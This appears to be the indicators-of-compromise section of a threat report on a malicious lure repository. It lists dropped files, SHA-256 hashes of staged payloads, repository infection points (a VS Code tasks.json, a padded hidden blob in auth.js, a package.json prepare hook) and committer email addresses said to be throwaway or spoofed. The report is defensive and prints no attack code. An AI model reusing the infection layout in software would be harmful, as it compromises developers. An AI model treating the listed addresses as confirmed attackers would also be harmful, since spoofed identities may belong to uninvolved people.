| macOS / Linux | ~/.vscode/vscode-bootstrap.sh, ~/.vscode/celt.js, ~/.vscode/package.json, ~/.vscode/node_modules/, ~/.vscode/node-v24.11.1-{darwin,linux}-{x64,arm64}/, ~/.vscode/<VS_CODE_FOLDER_NAME>.txt (likely ~/.vscode/.txt) |
| Windows | %USERPROFILE%\.vscode\vscode-bootstrap.cmd, %USERPROFILE%\.vscode\celt.npl, %USERPROFILE%\.vscode\package.json, %USERPROFILE%\.vscode\node_modules\request\, %USERPROFILE%\.vscode\nodejs\PFiles64\nodejs\node.exe, %USERPROFILE%\.vscode\node-v24.0.0-x64.msi (transient), %USERPROFILE%\.vscode\<repo-folder>.txt |
| Stage 5 (public reporting) | ~/.n2/, ~/.n3/, ~/.npl, ~/.pyp/ |
| Repository | .vscode/tasks.json, routes/api/auth.js (line 18), package.json (prepare) |
SHA-256
2f387c2589bc9cf1f1d6b7535a5c43f68a3dc431c54db44f3b028ae640de3eec repo .vscode/tasks.json
1875cdcd577c10d1c7f193a5cba7a4483007274e36dbae493c9babb6a3d44e28 repo .vscode/settings.json
2690f33708b9fa4a1b12f8bf8f3244116e8fa219f2e642b069ee4a51091235ab repo routes/api/auth.js
209a1aafa47a7b9b90e0276f21026268a54233dc11966e59b3c765f42410fea6 hidden blob in auth.js (line 18, after padding)
c913a6b89e6f2d51cb9d6b45f75970cf571784453e85b3051b0409dabc1eb2f0 repo package.json
e2d4d02531eb4f325729baaa9adcd4d2785a812657be6875266339d1841aaa8c repo server.js
a9d8ea7c9a396d5c1f04d998f4f3e944c67ec4c88524a05c613bcb1ca0a7eacf repo routes/index.js
81d2c3954b509c0feeca7da45ab2f6f9d5dca8928cef9a165a704786f3f07a1d repo README.md
e9fc238cfd8273a360b4ed3c4ebf51a3cf6f60b972e48a90ab9269cc8b1dc2cb repo client/public/_redirects
c0ccc784abc4cddf2372806b154f67c0701ffbd86c5c1a21e0fec57b95d48acc stage-2 mac (/api/settings/mac)
78a881c7be81ac2459fc1810f350d6012a8ed160973a14f0eedebe7327c8e4cd stage-2 linux (/api/settings/linux)
4f6ead231ccdafbc6e3f9b9a056ad441966569916352c6f19fdd843c0312ec37 stage-2 windows (/api/settings/windows)
874f6c07e7b381ca6fb561c1d47598042015eb8e51f3ca8e3cc6505bbcad4073 stage-3 vscode-bootstrap.sh (/api/settings/bootstraplinux)
36e734f59912bc2d457631ec492611718f17c4a0f2beaf0d815639478fda2664 stage-3 vscode-bootstrap.cmd (/api/settings/bootstrap)
ba09693d1a3df7b8385dc703d9352ea8a2a661b09580bfedf287236cf3ea2290 stage-4 celt.js / celt.npl (/api/settings/env)
6effad9fdee81589b37c60bbbae20483200bf53bee3e3c107b1aa47d2ac4ccb3 stage-4 package.json (/api/settings/package)The repository contains no binaries (no PE, Mach-O or ELF), so there are no executable hashes. Stage hashes are of the files as captured; whitespace may differ in other captures.
Committer identities
Throwaway or spoofed identities used in the lure commits. The address of a genuine tcpie contributor whose identity was inherited through the grafted history is redacted.
martinsnaith5050@gmail.com
snaithmartin0@gmail.com
martinsnaith534@gmail.com
martinsnaith7n@gmail.com
templejett03@gmail.com
eltondarrell060@gmail.com
webvlada2024@gmail.com
romonterozamendoza@gmail.com
divanefapibi31@gmail.com
fatihafariya8+2@gmail.com
luis@commerce-media.org
serhiiprymierov25+2@gmail.com
luistech.0924@gmail.com
luistech.0924+1@gmail.com
simonsharp331+1@gmail.com
hiringtecjreview@outlook.com
lxin6793@gmail.com
aaronhiroto.bm@gmail.com
robertferrero0904@gmail.com
ignusmart@gmail.com
coinstar@gmail.com
Pourcheriki@gmail.com
randhawamanpreet37@gmail.com
mjlescano@protonmail.com